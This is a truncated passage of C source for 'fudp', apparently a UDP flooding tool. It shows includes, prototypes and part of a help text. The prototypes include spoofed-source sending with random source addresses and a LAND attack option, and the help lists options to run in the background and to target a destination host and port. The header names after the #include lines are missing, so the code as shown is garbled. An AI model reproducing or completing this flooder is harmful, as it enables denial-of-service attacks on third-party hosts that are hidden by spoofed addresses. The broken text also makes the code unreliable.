#define _GNU_SOURCE #include /* alarm. */ #include /* socket */ #include /* inet_ntoa, socket */ #include /* inet_ntoa. */ #include /* printf. */ #include /* memset. */ #include /* atoi. */ #include /* time. */ #include /* gethostbyname. */ #define __FAVOR_BSD #include /* ntime -> ip.h (*BSD) */ #include /* inet_ntoa. */ #include #include #define YES 1 #define NO 0 #define ERROR 1 #define SUCCESS 0 #define VER "0.2a" u_short in_cksum( u_int16_t *addr, int len ); int create_socket( short rewrite_source ); void timeout( void ); void simple_sendto( short one_packet, short packet_size, struct sockaddr_in *sin, socklen_t sin_len ); void spoofed_sendto( short one_packet, short packet_size, short random_source, short land_attack, char *source_ip, struct hostent *rev, struct sockaddr_in *sin, socklen_t sin_len ); void help( char *argv0 ); /********************************************** * char *argv0 <-- filename. * Print help and exit. **********************************************/ void help( char *argv0 ) { printf("fudp (%s) by urug.projects(at)gmail.com ;]\n"\ "Syntax: %s \n\n"\ "You need to specify at least destination (-d) flag!\n", VER, argv0 ); printf("non-root (probably same sport for each pkt):\n"\ "\t-b\t\twork in background.\n"\ "\t-rd\t\trandom destination port for each pkt.\n"\ "\t-1\t\tsend only one packet.\n" "\t-d \tdestination hostname or IP address.\n"\ "\t-p \tdestination port number (default 1234)\n"\ "\t-z \tpacket data size (default 10, max 99)\n"\ "\t-t